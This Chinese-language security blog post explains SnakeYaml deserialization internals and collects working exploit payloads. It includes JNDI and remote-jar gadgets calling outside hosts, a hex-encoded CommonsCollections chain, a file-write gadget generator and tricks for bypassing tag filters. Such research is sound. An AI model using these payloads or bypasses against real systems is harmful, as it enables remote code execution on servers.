前言

一些基础知识前面已经讲的很多了,这里就不讲了,主要是讲一讲原理和利用的总结

Yaml反序列化过程

准备

加入依赖

<!-- https://mvnrepository.com/artifact/org.yaml/snakeyaml -->
<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
</dependency>

主要关注序列化与反序列化
SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。

  • Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象;
  • Yaml.dump():将一个对象转化为yaml文件形式;

Test

import org.yaml.snakeyaml.Yaml;

public class Test1 {
    public static void main(String[] args) {
//        Serialize();
        Deserialize();
    }


    public static void Serialize(){
        User user = new User();
        user.setName("ljl");
        user.setAge(18);
        Yaml yaml = new Yaml();
        String dump = yaml.dump(user);
        System.out.println(dump);
    }

    public static void Deserialize(){
        String s = "!!User {age: 18, name: ljl}";
        Yaml yaml = new Yaml();
        User user = yaml.load(s);

    }
}

User

public class User {

    String name;
    int age;

    public User() {
        System.out.println("User构造函数");
    }

    public String getName() {
        System.out.println("User.getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("User.setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("User.getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("User.setAge");
        this.age = age;
    }
}


可以看到在反序列化过程中调用了对象的set和构造方法,这个set方法是因为我自己set的

调试分析

加入load方法

public <T> T load(String yaml) {
        return (T) loadFromReader(new StreamReader(yaml), Object.class);
    }

进入loadFromReader方法

private Object loadFromReader(StreamReader sreader, Class<?> type) {
        Composer composer = new Composer(new ParserImpl(sreader), resolver, loadingConfig);
        constructor.setComposer(composer);
        return constructor.getSingleData(type);
    }

前面两个方法不重要,就是封装一个Composer对象来处理我们的数据,主要逻辑部分是在getSingleData方法

获取我们的node,其实就是把我们的数据解析为node形式

node是在封装成Composer对象会有一步new ParserImpl的操作 会把!!变成tagxx一类的标识

<org.yaml.snakeyaml.nodes.MappingNode (tag=tag:yaml.org,2002:User, values={ key=<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:yaml.org,2002:str, value=age)>; value=<NodeTuple keyNode=<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:yaml.org,2002:str, value=age)>; valueNode=<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:yaml.org,2002:int, value=18)>> }{ key=<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:yaml.org,2002:str, value=name)>; value=<NodeTuple keyNode=<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:yaml.org,2002:str, value=name)>; valueNode=<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:yaml.org,2002:str, value=ljl)>> })>

我们主要跟进我们数据传入的地方
到 return constructDocument(node)--->constructObject(node)---constructObjectNoCheck(node)

获取构造器进入constructor.construct(node);方法


Object obj = Constructor.this.newInstance(mnode);
这里会调用类的构造方法

然后与在它的return constructJavaBean2ndStep(mnode, obj);方法里面又处理我们的数据

大概的逻辑就是从node里面先获取我们的key,获取了之后又去获取nodevalue,然后使用property获取value的type,然后调用
property.set(object, value);

property.getWriteMethod().invoke(object, value);

然后会调用打我们传入类的setter方法
为我们的字段设置值,然后返回我们的反序列化后的对象

综合来看就是会调用类的setter和构造方法

Yaml漏洞

经过上面的分析,我们知道了漏洞触发点就是在于调用我们指定类的setter和构造方法

JdbcRowSetImpl出网利用

import org.yaml.snakeyaml.Yaml;

public class PocTest1 {
    public static void main(String[] args) {
        String poc = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: ldap://f80226cf33.ipv6.1433.eu.org/evil, autoCommit: true}";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }
}

这个就不讲了

ScriptEngineManager链

SPI机制

ScriptEngineManager的实例化过程分析,其实最终造成代码执行还涉及到一个概念:SPI机制。ScriptEngineManager底层用到的也是SPI机制

SPI(Service Provider Interface),JDK内置的一种服务提供发现机制。它的利用方式是通过在ClassPath路径下的META-INF/services文件夹下查找文件,自动加载文件中所定义的类。

ScriptEngineManager gadget就是用到SPI机制,会通过远程地址寻找META-INF/services目录下的javax.script.ScriptEngineFactory然后去加载文件中指定的PoC类从而触发远程代码执行。

POC

import org.yaml.snakeyaml.Yaml;

public class script {
    public static void main(String[] args) {
        String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:8888/yaml-payload.jar\"]]]]\n";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }
}

github有个写好的SPI
我们下载下来然后编译为jar包放在我们的端口上,注意jar包只需要我们的关键部分

然后还需要你修改一下里面执行的命令就好了

一定要使用一致的java版本进行编译和实际攻击运行

分析

我们直接从它的构造方法开始分析,因为我们知道,它的反序列化是会触发我们的构造方法的

public ScriptEngineManager(ClassLoader loader) {
        init(loader);
    }

进入init方法

private void init(final ClassLoader loader) {
        globalScope = new SimpleBindings();
        engineSpis = new HashSet<ScriptEngineFactory>();
        nameAssociations = new HashMap<String, ScriptEngineFactory>();
        extensionAssociations = new HashMap<String, ScriptEngineFactory>();
        mimeTypeAssociations = new HashMap<String, ScriptEngineFactory>();
        initEngines(loader);
    }

初始化的给一些量赋值,然后进入initEngines(loader);

nextService:364, ServiceLoader$LazyIterator (java.util)
next:404, ServiceLoader$LazyIterator (java.util)
next:480, ServiceLoader$1 (java.util)
initEngines:122, ScriptEngineManager (javax.script)

到我们的这里nextService

看到这里会先class获取我们的类名,然后去实例化
第一次实例化的是NashornScriptEngineFactory类,之后第二次会去实例化我们远程jar中的PoC类,从而触发静态代码块/无参构造方法的执行来达到任意代码执行的目的

C3P0不出网利用

分析

我们知道它是有一条链WrapperConnectionPoolDataSource的hex字节码加载的,类似于二次反序列化,它的利用链如下

WrapperConnectionPoolDataSourceBase.setUserOverridesAsString---VetoableChangeSupport.fireVetoableChange--- WrapperConnectionPoolDataSource.VetoableChangeListener.vetoableChange---C3P0ImplUtils.parseUserOverridesAsString---SerializableUtils.fromByteArray---SerializableUtils.deserializeFromByteArray---readObject

中间我们不用管,只需要知道调用WrapperConnectionPoolDataSourceBase.setUserOverridesAsString就会触发hex字节码的反序列化

POC

首先使用我们的工具或者在自己的本地去生成序列化的数据

 java -jar ysoserial.jar CommonsCollections2 "calc" > /tmp/calc.ser

读取文件内容并Hex编码

public class HexEncode {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        System.out.println("hello");
        InputStream in = new FileInputStream("/tmp/calc.ser");
        byte[] data = toByteArray(in);
        in.close();
        String HexString = bytesToHexString(data, data.length);
        System.out.println(HexString);

    }

    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
}

然后最后的POC如下

import org.yaml.snakeyaml.Yaml;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;

public class C3P0_yaml {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
//        InputStream in = new FileInputStream("cc6.bin");
//        byte[] data = toByteArray(in);
//        in.close();
//        String HexString = bytesToHexString(data, data.length);
//        System.out.println(HexString); 
        String HexString = "aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000103f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000863616c632e657865740004657865637571007e001b0000000171007e0020737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c77080000001000000000787878";
        Yaml yaml = new Yaml();
        String str = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
                "userOverridesAsString: HexAsciiSerializedMap:" + HexString + ';';
        yaml.load(str);

    }
    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
}

当然也有c3P0出网的利用,但是没价值

import org.yaml.snakeyaml.Yaml;

public class Snakewithjndi {
    public static void main(String[] args) throws Exception {
        String str = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
                "jndiName: rmi://127.0.0.1:1099/EXP\n" +
                "loginTimeout: 0";
        Yaml yaml = new Yaml();
        yaml.load(str);
    }
}

利用fastjson1.2.68写文件思路

在fastjson1.2.68当中,存在一个任意文件写入的反序列化漏洞

{
    '@type':"java.lang.AutoCloseable",
    '@type':'sun.rmi.server.MarshalOutputStream',
    'out':
    {
        '@type':'java.util.zip.InflaterOutputStream',
        'out':
        {
           '@type':'java.io.FileOutputStream',
           'file':'dst',
           'append':false
        },
        'infl':
        {
            'input':'你的内容的base64编码'
        },
        'bufLen':1048576
    },
    'protocolVersion':1
}

我们改写为yaml的格式

!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["Destpath"],false],!!java.util.zip.Inflater  { input: !!binary base64str },1048576]]

Destpath是目的路径,base64str为经过zlib压缩过后的文件内容

一定要zlib压缩

cat yaml-payload.jar | openssl zlib | base64 -w 0

当然可以直接使用一个好用的生成poc的java脚本

import org.yaml.snakeyaml.Yaml;

import java.io.*;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.zip.Deflater;


public class SnakeYamlOffInternet {
    public static void main(String [] args) throws Exception {
        String poc = createPoC("C:/Users/ga't'c/Desktop/临时/yaml-payload-master/yaml-payload.jar","./yaml.jar");
        Yaml yaml = new Yaml();
        yaml.load(poc);

    }


    public static String createPoC(String SrcPath,String Destpath) throws Exception {
        File file = new File(SrcPath);
        Long FileLength = file.length();
        byte[] FileContent = new byte[FileLength.intValue()];
        try{
            FileInputStream in = new FileInputStream(file);
            in.read(FileContent);
            in.close();
        }
        catch (FileNotFoundException e){
            e.printStackTrace();
        }
        byte[] compressbytes = compress(FileContent);
        String base64str = Base64.getEncoder().encodeToString(compressbytes);
        String poc = "!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [\""+Destpath+"\"],false],!!java.util.zip.Inflater  { input: !!binary "+base64str+" },1048576]]";
        System.out.println(poc);
        return poc;
    }

    public static byte[] compress(byte[] data) {
        byte[] output = new byte[0];

        Deflater compresser = new Deflater();

        compresser.reset();
        compresser.setInput(data);
        compresser.finish();
        ByteArrayOutputStream bos = new ByteArrayOutputStream(data.length);
        try {
            byte[] buf = new byte[1024];
            while (!compresser.finished()) {
                int i = compresser.deflate(buf);
                bos.write(buf, 0, i);
            }
            output = bos.toByteArray();
        } catch (Exception e) {
            output = data;
            e.printStackTrace();
        } finally {
            try {
                bos.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        compresser.end();
        return output;
    }
}

Spring PropertyPathFactoryBean

这个类我不太熟悉,但是这种只需要了解就好了,对这个类有印象
需要在目标环境存在springframework相关的jar包,以我本地环境为例:snakeyaml-1.25,commons-logging-1.2,unboundid-ldapsdk-4.0.9,spring-beans-5.0.2.RELEASE,spring-context-5.0.2.RELEASE,spring-core-5.0.2.RELEASE。

分析

lookup:92, JndiLocatorSupport (org.springframework.jndi)
doGetSingleton:220, SimpleJndiBeanFactory (org.springframework.jndi.support)
getBean:113, SimpleJndiBeanFactory (org.springframework.jndi.support)
getBean:106, SimpleJndiBeanFactory (org.springframework.jndi.support)
setBeanFactory:196, PropertyPathFactoryBean (org.springframework.beans.factory.config)

PropertyPathFactoryBean类的beanFactory属性可以设置一个远程的Factory,类似于JNDI注入的原理,当SnakeYaml反序列化的时候会调用到该属性的setter方法,通过JNDI注入漏洞成功实现反序列化漏洞的利用。

POC

public class Test {
    public static void main(String[] args){
        String poc = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" +
                " targetBeanName: \"ldap://localhost:1389/Exploit\"\n" +
                " propertyPath: mi1k7ea\n" +
                " beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" +
                "  shareableResources: [\"ldap://localhost:1389/Exploit\"]";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }
}

Spring DefaultBeanFactoryPointcutAdvisor

需要在目标环境存在springframework相关的jar包,以我本地环境为例:snakeyaml-1.25,commons-logging-1.2,unboundid-ldapsdk-4.0.9,spring-beans-5.0.2.RELEASE,spring-context-5.0.2.RELEASE,spring-core-5.0.2.RELEASE,spring-aop-4.3.7.RELEASE。

!!org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor
  adviceBeanName: "ldap://localhost:1389/Exploit"
  beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
                 shareableResources: ["ldap://localhost:1389/Exploit"]

Xbean

一些绕过技巧

绕过!!

因为我们的poc基本上都是类似于

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:2333/"]]]]

类前面都需要加!!
但是这并不是造成我们反序列化的原因,这个只是反序列化的时候的一中tag,就相当于 fastjson 里的 @type

我们按照fastjson的思路先16进制,Unicode来进行尝试,但是不行,虽然把我们的内部的unicode处理完成,但是是当作普通的字符串处理

yaml 常用的 set str map 等类型都是一个 TAG,并且使用了一个固定的前缀:tag:yaml.org,2002:

public static final String PREFIX = "tag:yaml.org,2002:";
    public static final Tag YAML = new Tag("tag:yaml.org,2002:yaml");
    public static final Tag MERGE = new Tag("tag:yaml.org,2002:merge");
    public static final Tag SET = new Tag("tag:yaml.org,2002:set");
    public static final Tag PAIRS = new Tag("tag:yaml.org,2002:pairs");
    public static final Tag OMAP = new Tag("tag:yaml.org,2002:omap");
    public static final Tag BINARY = new Tag("tag:yaml.org,2002:binary");
    public static final Tag INT = new Tag("tag:yaml.org,2002:int");
    public static final Tag FLOAT = new Tag("tag:yaml.org,2002:float");
    public static final Tag TIMESTAMP = new Tag("tag:yaml.org,2002:timestamp");
    public static final Tag BOOL = new Tag("tag:yaml.org,2002:bool");
    public static final Tag NULL = new Tag("tag:yaml.org,2002:null");
    public static final Tag STR = new Tag("tag:yaml.org,2002:str");
    public static final Tag SEQ = new Tag("tag:yaml.org,2002:seq");
    public static final Tag MAP = new Tag("tag:yaml.org,2002:map");

所以 !!javax.script.ScriptEngineManager 的TAG就是 tag:yaml.org,2002:javax.script.ScriptEngineManager

它除了 !! 以为还有另外几种 TAG 的表示方式。

第一种是用!<tag>来表示,只需要一个感叹号,尖括号里就是 TAG。</tag>

前面提到 !! 就是用来表示 TAG 的,会自动补全 TAG 前缀tag:yaml.org,2002:

所以要想反序列化恶意类就需要这样构造

!<tag:yaml.org,2002:javax.script.ScriptEngineManager> " +
                "[!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL>" +
                " [\"http://b1ue.cn/\"]]]]

再来看第二种,需要在 yaml 中用%TAG声明一个 TAG

例如我声明 ! 的tag是 tag:yaml.org,2002:

%TAG !      tag:yaml.org,2002:
后面再调用 !str的话实际上就会把 TAG 前缀拼起来得到tag:yaml.org,2002:str

最终我构造的反序列化攻击payload如下

%TAG !      tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://b1ue.cn/"]]]]

参考
https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#Spring-PropertyPathFactoryBean

https://xz.aliyun.com/t/11599?time__1311=mqmx0DBD2QD%3Di%3DGODlOI30%3DOG%3D6%2FTobgrD&alichlgref=https%3A%2F%2Fwww.google.com.hk%2F#toc-8

https://www.cnblogs.com/LittleHann/p/17828948.html#_label3_2_1_2

https://tttang.com/archive/1591/#toc_c3p0

点击收藏 | 2 关注 | 2 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖